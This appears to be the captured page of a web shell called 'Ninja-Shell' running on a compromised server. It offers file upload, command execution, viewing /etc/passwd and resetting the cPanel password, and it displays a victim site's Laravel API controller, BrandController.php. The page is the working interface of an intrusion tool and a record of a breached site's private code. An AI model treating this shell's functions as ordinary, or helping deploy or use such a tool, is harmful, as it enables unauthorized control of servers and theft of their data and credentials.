{Ninja-Shell}
Home
Info
Upload
Command
View /etc/passwd
cPanel Reset Password
Filename: /var/www//arsu/app/Http//Controllers/api/v4/BrandController.php
<?php namespace App\Http\Controllers\api\v4; use App\CPU\BrandManager; use App\CPU\Helpers; use App\Http\Controllers\Controller; use Illuminate\Http\Request; class BrandController extends Controller { public function get_brands() { try { $brands = BrandManager::get_active_brands(); } catch (\Exception $e) { } return response()->json($brands,200); } public function get_products($brand_id) { try { $products = BrandManager::get_products($brand_id); } catch (\Exception $e) { return response()->json(['errors' => $e], 403); } return response()->json($products,200); } }
./Ninja\.